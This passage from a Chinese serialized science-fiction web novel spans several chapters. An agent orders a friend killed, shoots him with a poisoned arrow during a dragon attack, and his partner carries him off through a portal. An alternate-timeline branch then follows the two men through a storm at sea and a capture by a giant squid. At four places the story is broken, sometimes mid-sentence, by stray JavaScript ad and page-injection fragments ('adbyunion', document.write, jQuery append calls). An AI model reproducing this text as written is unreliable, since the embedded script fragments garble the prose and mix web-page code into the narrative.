日记中陈述多而描述少,本人感想更是少得可怜,读起来更像是流水账,显而易见,莱纳德不是善舒胸臆的类型,但对于以利亚的看法和评论,他倒是仔仔细细地记了下来,偶尔还附上自己的见解。 例如在一个名为米尔顿·巴奇的地球人的公寓里,以利亚对这位地球人发表过关于海子力场和力场绝缘器的理论,将时空穿梭与吸铁石相提并论,莱纳德认为那“夸夸其谈,并且不负责任”,但“以利亚总有他的道理”,而且你“永远没办法跟太空脑袋较真”。 在读到“布兰迪小馆”初遇时,奥多娜忍不住莞尔,莱纳德对她的形容是“寡言、干练,是一名专业特工,但不像女孩子”,对酒馆老板年的描述则只有一句话“她给我调的酒里多放了伏特加,普尔西洛果仁都还活蹦乱跳,我想她是故意的”。 奥多娜嗤嗤地笑出了声。 β小队这时传来消息:“发现斯巴鲁踪迹,正在朝凤凰城方向行驶,是否追踪?” “不必,凤凰城已做好准备。”奥多娜果断回答,只要能掌握莱纳德的实时踪迹,就不难做出应对。 她皱起眉,如果事态当真这么顺利,牛皮本上的内容又怎么会恢复?难道是以利亚搞错了?字迹显现反而是计划顺利的征兆? 以利亚的警告再度回响在耳边——“他比看上去要聪明,也比看上去更危险。” 奥多娜匆匆把牛皮本翻到最后,纸页柔和地蹭过她的拇指,发出“沙沙”的声响。 最后几页并不是用黑墨水写的,而是某种深褐色的颜料,字迹粗细不一、歪七扭八,大概是仓促之间写就的,奥多娜凑近闻了闻,一丝温热的铁锈味钻进鼻孔,是血。 大写字母标题也仿佛在冲她尖叫,写的是—— 审判日的谎言。 奥多娜飞快地读完纸页上的字,然后又重读了一遍,她脸上的表情消失了,像是被一块抹布用力抹去似的,只有两颗漆黑的眼珠仿佛受惊的蝌蚪似的,在眼眶里颤动。 “β小队,计划有变,我需要你们立刻追上目标。”奥多娜打开通讯频道,她发现自己的声音在克制不住地颤抖,这可是战场指挥官的大忌,但她控制不住。 “收到,立刻追上目标,然后呢?” “不惜一切代价击杀,我重复一遍,不惜一切代价。”奥多娜命令道,嘴唇上的血色褪得干干净净。 “收到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 以利亚说得对,奥多娜想,一颗心正跟一窝刚长绒毛的鹌鹑似的乱跳不已,她从未怀疑过以利亚和莱纳德的友谊,而当以利亚用那种坚决的口吻告诉她必要时只能杀死莱纳德时,她就明白,当真走到那一步,就再没有第二条路了。 “长官,已锁定目标车辆,是否摧毁?” “摧毁。” “收到。” 频道那一端静默了片刻,奥多娜闭上眼睛,幻想自己听到汽车被轰击后爆炸的声音,看到钢铁残骸在高温中扭曲变形、旋转飞出的场景,她不知道以莱纳德如今的自愈能力是否逃得过这种程度的爆炸,即便能,是否也需要更久的时间恢复行动能力。 她只知道,一切都要结束了。 “奥多娜,是我。”频道里忽然响起一个声音。 奥多娜霍得睁开眼睛,那声音在细微的电流杂音里听起来有些失真,但不会错的,虽然她没有想到,但绝不会错的。 几乎是频道对面刚说完,凤凰城基地的警报便拉响了。 敌袭—— 奥多娜一抬头,只见窗外忽然黑了下来,仿佛那一烧一整天的日头骤然被黑洞吸走了大半光和热似的。与此同时,远处天边响起一声高亢嘹亮的啼鸣,宛如雕鸮,却更雄浑、更宏亮。 不管那是什么东西,都一定比雕鸮大得多。 换作五分钟前,奥多娜就算不手忙脚乱,肯定也会慌那么一阵,但频道对面冷静做出指示,她深呼吸几次,等她向守在基地里的武装小队下达指令时,听起来已经和平时无异了。 安排妥当,奥多娜便一路奔向基地塔防的最高层—— 那里视野最好。 这几天一直贴身保护的达文亦步亦趋地跟着她,奥多娜冲他一摆手,嘱咐道:“去把零号武器拿来。” 达文冷静地点头,神情一如既往地低调沉稳,只有眼睛里闪过一丝惊讶:“零号?” “没错,快去!” “是!” 上到塔楼顶层,狂风立刻糊得人睁不开眼睛,细碎的砂石裹在风中,在脸上割出细小的伤口,奥多娜架起右臂挡在头顶,朝天空望去。 遮住阳光的并不是黑洞,而是巨龙。 一时间,奥多娜恍惚以为自己回到了硝烟弥漫的第三战区,巨人族骑着飞龙从天而降,龙翼一振,便能让整队人类士兵眨眼间身首异处。 而此刻他们头顶上,至少有七只巨龙。 “莱纳德·杜弗伦,这就是你想要的审判日吗?”奥多娜喃喃道。 塔楼下,武装小队已然着手防御反击,平时用来击杀丧尸的机枪和炸药攻击距离显然不够,他们便搬来投石机,将绑着炸药的石块朝巨龙投去,再用枪射击引爆炸药。但巨龙鳞甲坚硬非常,炸药和碎石除了零星擦伤外没能造成任何有效伤害,反而激怒了这些会飞的大家伙。 一头巨龙咆哮着俯冲,小队士兵四散躲避,一个小兵躲避不及,被龙翼扫得直飞出去,撞在墙上,登时晕了过去。留在原地的投石机更是被巨龙一甩头击碎了成七八块。 阵仗浩大,眨眼间天上地下都是尘土飞扬,小队趁着巨龙俯冲动用机枪扫射,辅以钢珠手雷,可一番缠斗下来,己方伤亡不小,头顶的七只巨龙却仍一只不少。 奥多娜目光紧紧追随着盘旋在天空的几只巨龙,嘴唇翕动,却听不出在嘟囔些什么。 身后脚步声响,达文总算来了,他手里捧着一张弓,臂弯里挂着箭筒,在奥多娜身边站定:“零号武器。” 他的目光忍不住向天上瞟去,眼角的肌肉抽搐了一下,实在不问不快:“长官,你、你要用这弓箭对付它们?”那巨龙的鳞甲连炸药都炸不穿,别说这箭头是精钢打的,便是振金铸就,恐怕也扎不透那玩意儿。 奥多娜却丝毫没有担心的模样,从他手中接过长弓,在手里试了下磅数拉力,用一个音节回答达文:“不。” 说完从领口拉出一条项链,上面挂着一支半指高的小瓶子,她将里面盛着的淡紫色液体倒了几滴在箭镞上,弯弓搭箭,朝天瞄准,从容说道,“我要对付的不是龙。” “那要对付什么?” 奥多娜不答,她松开手指,箭矢如流星一般飞了出去。 97.第六章:审判日谎言 奥多娜跨过地上的碎石和断垣,走向莱纳德·杜弗伦。 莱纳德倒在一截断墙边,胸口赫然插着一支长箭,刚才从巨龙背上坠落摔得他手脚折断,形容狼狈,但他人竟还清醒着,眼睛望着奥多娜,神态坦然,仿佛浑然不觉一身伤痛。 奥多娜在他身旁单膝跪下,把长弓搁在地上。头顶巨龙仍在盘旋嘶鸣,却仿佛群龙无首,不再向地面发起进攻。 “那一箭射得可真漂亮,巴德。”莱纳德居然还笑得出来,他头发和脸上尽是血迹和灰土,只有那双眼睛还是湛蓝的。 “不是巴德,是奥多娜。” “好吧,你没看过《霍比特人》可、可不是我的错。” “结束了,莱纳德。”奥多娜叹了口气,“一切都结束了。” 莱纳德笑了一声,但被咳嗽声盖住了:“你、你箭上涂的什么?”他能感觉得到,自愈能力正随着胸口失血逐渐从他身体里飞快流失。也许奥多娜说得对,一切都结束了。 奥多娜回答:“神经毒素。” 莱纳德的眉毛跳了一下:“你在第三战区就知道这东西能对付我?” 奥多娜摇摇头:“那时候不知道。” 莱纳德看着她,用陈述事实的语气说:“有人雇你去的。” 奥多娜不答。 莱纳德捂住胸口想要坐起来点,却没成功,哼笑着说:“我早该猜到的,除了以利亚还有谁?” 奥多娜叹气:“你还不明白吗?这只能说明,一切早都注定了。” “我不相信注定。” “看出来了,你就算赌上整个宇宙也要去挑战一件命中注定的事情,但结果呢?” “命中注定?”莱纳德不答反问,语气挑衅,“你有没有想过,在你身上留下死亡纹身的,就是以利亚自己?” 奥多娜一愣:“那明明是孟雅特巫师……” 莱纳德打断她:“压根就没有什么叛逃的孟雅特巫师!”他咳嗽了几声,情绪平复下来,两眼望向天边,“都是以利亚,仔细想想看吧,你中诅咒之后,为什么不找别人,偏偏去找以利亚?” “我……” “根本没有什么注定,人为巧妙罢了。” “但以利亚自己身上也有纹身,如果你说的是真的,难道是他自己诅咒自己?” “没错。” “他难道疯了?” “是,不过那不是原因。” “那是为什么?” “因为2018年12月一场倒霉的暴风雨,不过那也都不重要,不再重要了。”莱纳德靠着墙根躺下来,像是忽然累了,双手搭在胸口,闭上了眼睛,叹息着说,“他想让我活,我想让他活,简单得很,让我们看看最后谁赢。” 他的声音逐渐低下去,终于归于安静。 “当然是我赢。”奥多娜腰间的通讯器忽然“滋啦”响了一声,传出一个男人的声音,她刚要伸手去拿通讯器,一辆泥巴色的斯巴鲁便扬着烟尘一路咆哮而来。 一个红头发的男人从车上下来,朝奥多娜走过来。 “以利亚?”奥多娜看着那陌生男人,心念一动,“感知过滤器?” “小把戏罢了。”红头发男人把头顶的假发摘下来, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再抖抖衣服,眨眼间便恢复了以利亚的模样,“我不能冒险等待审判日降临,更不能让莱纳德知道我还在,只能如此了。” “你策划这些,又有什么意义呢?”奥多娜看着以利亚在莱纳德身边半跪下来,忍不住问。 “我曾经碰到过一个长生者,他告诉我,死亡是一种权利。”以利亚若有所思,“我花了一些时间才明白这话。” 他用金属笔在空气中画出传送门,一边说道:“如果能再来一次,我不会在那个暴雨夜救莱纳德,哪怕那场意外完全是我的错。”他顿了顿,“因为没有人能欺骗死神。” “可你不能再重来了,对吗?”透过传送门,奥多娜看到对面是一间实验室,摆放的种种仪器一望便知是未来科技,一个神经网络修复医疗舱上面竟赫然有“金莫顿实验室”的字样标识,那可是代表全宇宙最顶尖的医疗技术。 以利亚回答:“是,也不是。” 他一手穿过莱纳德颈下,另一只手穿过膝弯把对方打横抱起,向传送门走去。 “奥多娜,答应我一件事,好吗?”跨过门后,以利亚又回过头,看着奥多娜,“保管好那本日记,等到本子上的内容消失,就想办法交给我,好吗?” 奥多娜扯了扯嘴角:“我还有其他选择吗?” 以利亚一笑:“我猜我们都没有。” 传送门连带着两人一齐消失,只留下奥多娜站在原地。 脚下响起喵喵声,奥多娜低下头,抱起在她腿边打转的阿西莫夫,揉了揉猫咪的脑袋。 “走了,阿西莫夫,我带你去布兰迪小馆喝一杯。” 98.第一章:海平面 “我们可以去到任何想去的地方,任何地点,任何时间。准备好了吗?” “准备好了。” 【注意:这是if线,让我们把时针拨回两位主人公打倒白瑞摩之后,以利亚在医院里向莱纳德提出宇宙漫游邀请的转折时刻,what if……】 “说老实话,以利亚,你提起海边野餐的时候,我还以为是在沙滩上晒晒太阳,喝杯冰镇果汁,然后再抓抓螃蟹什么的。”莱纳德在躺椅上伸展双腿,午后阳光洒在甲板上,干净而温暖,晒得人很舒服,海水的腥咸味混合在海风中,但并不惹人讨厌。 游艇将平静的海水划开一道口子,引擎声掩盖在涛声下,白色的浪花翻起、又落下,被抛在船身后的海水又很快愈合了。 以利亚摊开手,牙齿被小麦色的皮肤衬得格外洁白:“嘿,我给了你整个宇宙做选择,任何时间,任何地点,结果你只想野餐,我能怎么办?带你去月亮上喝鸡尾酒吗?” “月亮听起来不错。”莱纳德故意说。 “嗷,这很伤人哎。”以利亚假装受伤地捂住胸口,随即满不在乎地咧嘴一笑,“但是老规矩,船长选定航线,大副只能闭嘴享受。” 他伸手从两人中间的小圆桌上拿起玻璃瓶,喝了一大口冰镇饮料,舒服地吁了一口气,又说:“别羡慕月亮,我们有一艘漂亮的船,还有冰镇果汁,挺不赖的,对吧?” “目前为止,还不赖。”莱纳德妥协道,说实话,经历过植物王国、疯狂海盗船、芮内城,还有那个见鬼的暴风雨夜之后,平静正是他需要的。 是的,久违的平静,就像此时此刻的大海。 热烈的阳光下,海水却并不像热带水域那样玻璃似的透亮,反而呈现出一种深沉的铁蓝色,温和,又蕴含某种力量。 “的确,”莱纳德在轻柔拂面的海风中叹了口气,忍不住重复道,“还不赖。” “放心,会有机会去沙滩上抓螃蟹的,如果你坚持的话。”以利亚说,目光里闪过揶揄的笑意,“不过,只是螃蟹吗?你以前总是说想要去南极看企鹅的。” “我这么说过吗?”莱纳德感到一股惊讶的笑意涌上喉咙,去南极看企鹅,这听起来像是他会说的话。 “也就七八十遍吧。”以利亚向后靠在椅背上,闭上了眼睛。 “嗯哼,企鹅很可爱。”莱纳德耸耸肩,他的确曾经在某个疯狂的暑假里计划过南极旅行,不过由于一些原因未能成行,那个难以克服的原因名为肖恩·杜弗伦,上帝保佑他。 那之后他的确还对那些毛茸茸的小胖子念念不忘,所以,莱纳德心想,罪名成立。 也许还有一丝微妙的警觉。 当然,莱纳德知道以利亚对他了如指掌,就像石碑上的刻字那样清晰,但反之,他却不那么了解以利亚,和这个如同恩尼格玛一般难解的人相处,总会带给他紧张心跳的感觉。 比如此时此刻。 “我们要去南极?这温度可不像寒带呐。”莱纳德眯起眼睛看向万里无云的天空,在以利亚的建议下,他只穿了单薄的衬衣和长裤,衬衫袖子挽到手肘,夹克搭在椅背上,所有布料都被阳光晒得暖乎乎的。 “当然不是寒带,相比之下温带更适合海上野餐,你觉得呢?我们的目的地是纽西兰亚南极群岛,那里也有企鹅。”以利亚回答。 “纽西兰?等等,我们不会进入新西兰领海吧?”莱纳德紧张地坐直身子,向四周远远张望,“拜托,以利亚,你又不是不知道人类的领地意识有多强,万一被发现,咱们搞不好会被巡航舰直接灭口的。” “放心,我们的游艇有完美的变色龙系统,绝不会有海岸护卫队找咱们的麻烦,我保证,就连悬崖顶上的企鹅都不会注意到咱们来了。” 以利亚仍旧气定神闲地闭着眼睛,一边懒洋洋地用手指敲打着椅子扶手,转而说道:“你知道跳岩企鹅是企鹅科里出色的歌唱家,而且一生只选择一个伴侣吗?” 莱纳德摇着头笑起来,紧张感消失了,一种类似于怀念的情绪随着笑声涌上胸口,他不再纠结海岸护卫队,思绪被以利亚带着飞向远处的温带群岛:“企鹅?歌唱家?认真的?” 怀念?他有些不可思议地想,一个人可以怀念自己并不记得的事情吗? 以利亚微笑:“当然,以童子军的名义起誓。” 莱纳德笑得更加开怀:“说实话,有时候我感觉我已经认识你一辈子了,以利亚。”这些话脱口而出,让他感到有些难为情,但没到想要收回的地步,没错,这么说感觉对头。 以利亚嘴角露出笑意,喃喃道:“你想不到这有多精确。” 莱纳德眨眨眼睛:“精确?” “取决于你对时间的理解。”以利亚用漫不经心的语气说道,他睁开眼睛,偏过头看向莱纳德,灰眼睛在阳光下几乎变成了透明的,“那句话怎么说的来着?真实存在的不是时间,而是你面朝的方向。” 莱纳德嗤嗤地笑起来:“我很确定这么酸溜溜的话没人说过。”海风吹过他裸露的手臂,窜起了一层鸡皮疙瘩。 忽然,小圆桌上的玻璃瓶晃动了一下,朝一边歪到,以利亚眼疾手快地向前一探,伸手抓住了瓶子,只有几滴液体在惯性下飞出瓶口,溅到了他的手背上。 另一个玻璃瓶就没那么幸运了,“咕噜”一下滚倒,剩下的半瓶柠檬汁立刻淌了满桌,莱纳德动作慢了半拍,结果把果汁弄得满袖子都是。 “该死!”莱纳德骂了一句,扶起瓶子,用力甩了甩手,但很快果汁就不再是问题了,这阵海风邪门得很,竟吹得整艘船都摇晃起来。 “糟糕,要变天了。”以利亚抬起头,脸上闪过一丝不妙的神情,半是恼怒地笑了笑,“我猜跳岩企鹅得下次再看了。” “你说呢!”莱纳德不得不提高声音,因为海浪突然间从有节奏的背景音变得令人无法忽视起来。 以利亚说的没错,变天还只是个委婉的说法,一眨眼功夫,天色就彻底暗了下来,或者比眨眼更快,几秒钟前还像蓝水晶一样晴朗的天空不见了,取而代之的是阴沉不定的铅灰色,以及望不到边的乌云。 云团并不是从远处飘过来的,而是一下子出现在了游轮上空,就像盒子里弹出的小丑,除了这个小丑可不只会拍着手用奇怪的声音说“吓到你了”。 它能做到的远比吓人更多。 “以利亚,看!”莱纳德指着一个方向,几海里外,也许几十海里外,海水掀起一个几乎呈垂直状的巨大浪头,像一堵墙似的,朝他们所在的方向压了过来。 以利亚嘟哝了几句,听起来像是在咒骂海神。 莱纳德盯着那堵水做的墙,丝毫不怀疑这堵水墙的威力绝对不亚于钢铁之墙,他努力稳住呼吸心跳,但却不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 太成功。 “关键问题!咱们的游艇叫什么?”莱纳德喉咙里涌起一股不合时宜的笑意,他看向以利亚,“不会是‘三角号’吧。”这种冷笑话,任何一个看过《恐怖游轮》的水手听了都会狠狠赏他一脚,毫无疑问。 “不,我记得是‘泰坦尼克’来着。”以利亚好像笑了笑,在不合时宜这个方面,两个人倒还真是臭味相投。 “亏我刚才还担心了一下!”莱纳德还没说完就猛地一晃,他这次反应够快,伸手一把抓住了以利亚,这才没有当场摔个倒栽葱。“说起担心,介意透露一下完整的野餐计划吗?” “暴风雨要来了!”以利亚大声喊道,这句话里的每个词莱纳德都不喜欢。以利亚反手抓住莱纳德,两个玻璃瓶先后滚到了甲板上,活像一对刚越狱成功的囚徒,争先恐后地往倾斜的船舷滚过去。 闪电仿佛骤然绽开的水母触手,从天边爬伸向上,短暂地将半边天映得雪亮。 雷声紧随其后,连喘口气的功夫都没留,就耀武扬威地在他们头顶炸了开来,下一道闪电气势更壮,仿佛踢踏舞六人组错把天边当成了排练场,跳得群情投入,雷鸣霎时连成一片,跟愤怒浪涛组合成激昂的交响乐,听清楚对方说的话几乎变成了一项不可能的任务。 紧跟着,暴雨倾盆。 “找……抓紧!”以利亚吼道,“在……舷……干!” “什么?为什么不进船舱?”莱纳德一手抓住以利亚,另一只手紧紧抓住船舷,船身在波涛中剧烈地摇晃起来,他知道自己问了个蠢问题,一旦松手,别说走回船舱,连三步都迈不出去他就会被掀进海里。 雨水像一个个小却结实的拳头,异常密集地落下来,砸在脸上生疼,砸在别的地方也一样。 莱纳德忽然想起故园鸟镇的暴风雨夜,同样说变就变的天,同样脾气惊人的电闪雷鸣和瓢泼大雨,这鬼天气,简直就跟追着他跑一样,莱纳德心想,不过,还有一点没变,以利亚跟他在一起。 这念头不知怎地让他放松了一点,既然暴风雨第一次没能把他怎么样,这一次也不会有什么不同。 他脑子里甚至响起了乔治·迈克尔的《走之前请叫醒我》,轻松欢快,几乎有点滑稽,要不是嘴里灌满了雨水和海水,莱纳德几乎就要唱出来了。 “挺……别松……翻的!”以利亚的声音被雷声击得七零八落,莱纳德只能借着闪电看到他的嘴巴一张一合,雨水在他脸上流成了一道水帘,衣服仿佛变成了第二层皮,沉重无比地贴在身上。 “什么?我只听到了‘翻’!”莱纳德紧张地笑起来,听在他自己耳朵里都像是狗叫,还是条被吓坏的狗。 “等……有东西……进……”以利亚用空着的手指向船舱。 “呃……以利亚,我觉得那个浪快要拍过来了!小心!”莱纳德努力睁大眼睛,水墙绝对比刚才离得更近、看起来也更高了,但在海上判断距离简直是不可能的事,更何况天还黑得跟魔鬼的□□一样。 “你……对……办法……”以利亚忽然把嘴巴凑到了莱纳德的耳朵边上,迅速往他胸口上拍了个东西,随即放下手臂牢牢箍住了他的腰。 雷鸣中,以利亚的声音音一下子变得清晰起来,跟喇叭一样震得莱纳德脑瓜子嗡嗡直响。 他说的是:“我说‘跳’的时候,你就——” “跳!” 99.第二章:浅海 从船舷翻落的瞬间,莱纳德睁大了眼睛,闪电照得海面上犹如有无数条银蛇蹿动,但某个波涛涌动的瞬间,那些银光似乎更像一张狞笑的、不怀好意的脸。 他什么都来不及看清,就一头栽进了漆黑的海水。 一层面罩及时撑开护住了莱纳德的头,才没让他被撞得满眼金星——以利亚拍在他胸口的原来纳米潜水服,不等他落水,就迅速延展开来裹住了他的全身。 不过除此以外,情势仍旧急转直下。 在暴风雨夜跳海可不像听起来那么有趣,莱纳德拼命划水,但那感觉更像是跌进了愤怒的怪兽怀里,或是落入了一只巨猫掌中,而他的老鼠尾巴早被爪子牢牢捏住了。 莱纳德事后认为,他们肯定是好死不死地一头跳进了漩涡,被拽进了海水深处,几股小的湍流汇聚成势,把他们不断抛起甩出、推搡揉捏,直到两人都晕头转向,连脑浆都差点被甩分层。 坏运气,十足的坏运气。 如果不是两件潜水服的腕部有连接感应装置,莱纳德确信,他和以利亚一定会跟滚筒洗衣机里的两只破袜子那样,再也没办法找到彼此。 “别慌,莱尼,我们不会有事的。”以利亚的声音忽然通过面罩里的通讯装置传进莱纳德的耳朵,清晰响亮,平稳有力,仿佛他不是在海水里玩疯狂大转轮,而是正坐在沙发上喝可乐、看肥皂剧似的。 他冷静地说:“我抓住你了。” “……谢了。”莱纳德能感觉到以利亚箍在他腰间的手臂,如果那不是一只巨型章鱼的触手的话,老实说,不是他想象力丰富过头,跟以利亚旅行久了,这种事迟早会发生。 “调整呼吸,莱尼,跟我做,吸——呼——” “还有、还有别的招吗?”莱纳德深吸了一口气,又慢慢吐出去,“我是说,除了拉玛兹呼吸法。” 他也想像以利亚一样若无其事地在湍流里闲谈,但事实上,他的胃正在肚子里跳摇摆舞,忍住没吐在氧气面罩里已经很难得了。 “当然,我一直指望着这招呢。”以利亚沾沾自喜地说,不过听起来胸有成竹,“潜水服上有动力推进装置,在领口下面,从左数第三个旋钮。按下去三秒钟,再逆时针转半圈,我们就能离开这里了,像匹诺曹逃离鲨鱼肚子那样。” “该死,我找不到……”莱纳德用包裹着潜水服的手指摸索了半天,才笨拙地捏住那个小东西,用力按下去,抱怨道,“除了长颈鹿,谁会把旋钮安在脖子附近?” “还有巨环海蛇,我猜。” “你和你的俏皮话,”莱纳德故意夸张地叹了口气,“没有了我可怎么办?” “碎成一地吧。”以利亚反唇相讥,又说,“逆时针转,不然我们会跟蝠鲼一样直接从海里一飞冲天,相信我,那可不好玩。”话是这么说,但以利亚的声音里却暗含笑意,似乎觉得那样才更有趣。 “你又不是蝠鲼,你怎么知道不好玩?”莱纳德转动旋钮,一股力量顿时将两个人远远推了出去。 “因为我玩过。”以利亚回答。 他一手搂住莱纳德,另一只手伸过头顶,分开激荡的水流,没有蝠鲼风筝似的扁平体型来得方便,当然了,但总好过原地打转。 莱纳德仰起头看向海面,试图寻找他们的游艇,海面此时看起来仿佛遥不可及,雷声被隔绝在外,无数雨点借着闪电在水面做点绘,犹如诡秘的星空,眨眼间变幻无穷。 那艘游艇却早已不见踪迹。 远离湍流后,海水变得服帖了许多,以利亚松开莱纳德,把推进装置调节到慢速,两个人并肩向前滑行。 “企鹅只能下次再看了,但要我说,海底游乐场也不赖,对吧?”以利亚说,隔着面罩打量莱纳德的神情,似乎在判断他是否失望。 “上次你这么说的时候,暴风雨来了,所以我希望待会儿不会有大白鲨加入我们的派对。”莱纳德笨拙地交叉起手指,在以利亚面前晃了晃。 “乐观点,莱尼,我们可是刚从海风暴死里逃生。” “我很肯定我们说的是一回事,以利亚。” “放心吧,不会有大白鲨的,你知道它们其实是热血动物吧?” “冷血杀手还差不多。” “哈,这话没错。” 巴掌大的沙丁鱼成群结队地从两人头顶游过,去浅海觅食磷虾,对它们来说,雨后的近海就像圣诞集市,只要去了总不会失望。 发光的浮游生物星星点点地分散在四周,再大些的是拥有色素细胞的水母和鱿鱼,还有亮丽的小丑鱼,在两个人身边游动闪烁着,如同海底演唱会的应援灯球。 几条幼年的柳叶鳗优哉游哉地从莱纳德面前滑过,半透明的身体被他头顶的探照灯映得宛如钻石一般,体内细小精致的骨骼清晰可见。 莱纳德伸手去抓最大的那条,它却灵活地一扭身子,从他指缝间溜走了。 “抛开暴风雨和海底龙卷风不谈,”莱纳德笑了笑,“我得承认,海底乐园比沙滩野餐有趣。” “这就叫乌云背后的一线银光。”以利亚得意道。 “还是等暴风雨过后再下定论吧,船长。”莱纳德挥手赶开一条显然把他当做了同伴的鮟鱇鱼,以免被那两排锋利的獠牙问候,于是那花枝招展的小东西摇摇尾巴,不情不愿地游走了。 他又问以利亚:“说起来,我们为什么要弃船?暴风雨是暴风雨,但总不至于把我们的船掀翻吧?” “你忘了那道巨浪了?” “说不定我们的船能扛住呢,再说了,跳到海里才更容易粉身碎骨。”莱纳德回想方才气势惊人的漩涡和湍流,仍然觉得后怕。“幸亏你带了潜水服,不管柏拉图是怎么讲亚特兰蒂斯的,我对葬身海底可都没有兴趣。” “怎么了?”说完许久没有得到回应,莱纳德忍不住扭头看向以利亚,对方的表情似乎有些奇怪,“喂,我没有怪你的意思,毕竟我们都顺利脱险了。” 暂时,莱纳德没来由地在心里纠正自己,那几个字母大写加粗,仿佛是为了强调什么,是暂时脱险。 以利亚沉默了一会儿,忽然说:“那道浪里有东西。” “有东西?”莱纳德一愣,不由得想到落水前看到的那张脸,但那只是光影错觉,不是吗? “我说不上来,但直觉告诉我,最好离那东西远点。”以利亚盯着远处一群闪烁着红光的灯塔水母,宛若隐藏在黑暗中的多眼怪物,正不怀好意地看着他们,“老话说,坏天气总会带来坏运气,还是谨慎点为妙。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “暴风雨会过去的。”莱纳德说。 “希望如此。” 远处忽然亮起一团深褐色的光,不同于拇指大小的水母和米粒似的浮游生物,那光团大到令人无法忽视,正以一种奇异的节奏闪烁着。 莱纳德伸手拍了拍以利亚,示意他看,只一眨眼的功夫,那团光就从深褐色变浅、变红,很快又变成了乳白色,犹如一团凝固的牛奶。 “红魔鬼。”以利亚喃喃道。 “魔鬼?”莱纳德眼看着那团光再次变成深褐色,然后从蜷缩的一团伸展开来,抻长成蘑菇状,撑开伞的一端薄而柔软,颜色尤其明亮、变幻莫测,另一端则有许多触手像礼花筒里的彩带似的向外辐射出去,在水中抖动不休。“倒不如说是霓虹魔鬼。”他忍不住评价。 而且就算是真魔鬼,恐怕也是他见过最漂亮的魔鬼。 “是洪堡鱿鱼,体长一般在三尺以上,这只的体型要格外大。”以利亚似乎笑了笑,“别怕,红魔鬼只是个外号。” “谁怕了?”莱纳德优雅地冲他比了个中指,但目光仍然牢牢地锁在那只巨大的鱿鱼身上,下意识屏住了呼吸。 以利亚也一样。 “如果没记错的话,洪堡鱿鱼在捕猎时通常靠发光和变色来交流,比起单打独斗,它们更习惯围捕猎物。” “那我猜,只看到一只红魔鬼对我们来说算个好消息咯?” “也许……” “我最怕你说‘也许’,以利亚,你的字典里‘也许’是不是解释为‘坏事即将发生’?” “洪堡鱿鱼一般不会出现在这片海域,而且,”以利亚顿了顿,“这只也太大了。” 他说的没错,随着他们逐渐靠近,这只红色的怪物更加真实地呈现在两人面前,漆黑的眼睛足有拳头大小,被“上眼睑”遮住一边,显得格外阴鸷狡猾,庞大、柔软的身体随着海水有节奏地抖动着,莱纳德怀疑,要是完全伸展开,搞不好会有一辆福特摇摆人那么大。 “你能读懂这鱿鱼的光信号吗?以利亚。” 莱纳德不抱什么希望地问。 两人在红魔鬼身前十几米的地方停下来,那个大家伙也仿佛感应到什么似的,停止了颜色变化,只保留下最扎眼的大红色。 “不能,但我可以试试。”以利亚回答,听上去自相矛盾。 他说完伸手按了下潜水服领口的按钮,头顶的探照灯立刻闪烁几下,灯光由浅变深,又由深变浅,最后恢复了常亮。 “你跟它说什么了?”莱纳德问,同时看到洪堡鱿鱼忽然朝他们的方向游了过来。 “打了个招呼而已,没想到它会这么热情。”以利亚的声音还算冷静,但匆忙抓住莱纳德手臂的动作暴露了他的紧张。 “喂,它要是把你当成□□对象,我可就要抛下你了。”莱纳德咽了口唾沫,忽然发现这个笑话并不好笑,因为搞不好会变成真的。 “你担心的居然是这个?” “任何看过海洋纪录片的人都该担心这个。” “别贫嘴,我有个办法,还记得我们关于蝠鲼的小把戏吗?” “按三秒,然后顺时针转。” “没错,等我口令。” 然而,红魔鬼却并没有给他们这个机会。 100.第三章:深渊 洪堡鱿鱼的腕足完全伸展时长达三尺,每条腕足上都有上百个吸盘,一旦缠上猎物,就会牢牢吸住,送进自己的喙状口中,用毒牙麻痹它们,然后再慢慢享用。 这些都是莱纳德离开海底后才知道的,关于洪堡鱿鱼,以及另外十多个致命种类,还有那些变异的、压根无从解释的海底生物。 去他的海洋乐园,谁说没有大白鲨就能放心游玩的? 旋转旋钮后,莱纳德和以利亚在推进装置应急启动下向海面疾冲,不料几条粗壮的腕足从七八尺外弹射而来,分毫不差地缠上了两个人,吸盘牢牢地附着在潜水服上,飞快地收紧。 “该死!我的手动不了了。”莱纳德徒劳地挣扎了几下,腕足却缠得更紧,他忿忿道,“说好的一飞冲天呢?以利亚,这狗屁推进装置的力气怎么连一个软体动物都拖不动?” “以防你没有注意到,这玩意儿不是普通的软体动物。”以利亚被缠住了双腿,手还能动,但处境也好不到哪儿去。 他喘了口气,又说:“它的行为特征已经呈现出亚五级变异,智慧物种,明白吗?” “别光科普,想想办法!” “潜水服的防护级别很高,别害怕,它咬不动咱们的。”以利亚把手放在激发武器的按钮上,却并没有立刻按下去,反而观察着眼前的生物,冷静地说,“而且我觉得,它并不想吃了咱们。” “那就是我们刚才讨论的另一种情况了,你打算主动献身?” “再等等。” “至少……”莱纳德刚说了两个字,后边的话就噎回了喉咙里,缠在他身上的腕足骤然回缩,拽着两人往前一溜,不偏不倚地落到了鱿鱼滑溜溜、鱼雷似的躯干上。 紧接着,巨型鱿鱼便如同搭载好乘客的公交车似的,往下一个猛子,朝大海深处游去。 “这他妈是什么情况,把我们当储备粮了?”莱纳德好不容易挣脱出一只手来,一把抓住以利亚的胳膊,挡住对方的动作,大声道,“喂,你干什么呢?” “我帮你把推进器关了,别乱动。” “别帮了,你是嫌我死得不够快吗?” “听话。”以利亚一副成竹在胸的模样,仿佛正乐在其中,“还没看出来?这个大家伙是想带咱们去一个地方。” “比如带咱们去喂它的幼崽?” “它们是鱿鱼,不是企鹅,再说了,这一只明显是雄性。” “所以呢?我们就该老老实实地趴在它背上,好让它带咱们去见藏在海底的好客主人?” “为什么不呢?” “让我想想,哦,因为我们不是活在安徒生童话里,这只魔鬼鱼也不是小美人鱼!” “嘘,”以利亚忽然反手抓住莱纳德,把他往自己身边扯了扯,另一只手指往下一指,“看那儿。” 莱纳德闭上嘴,顺着以利亚指的方向看去。 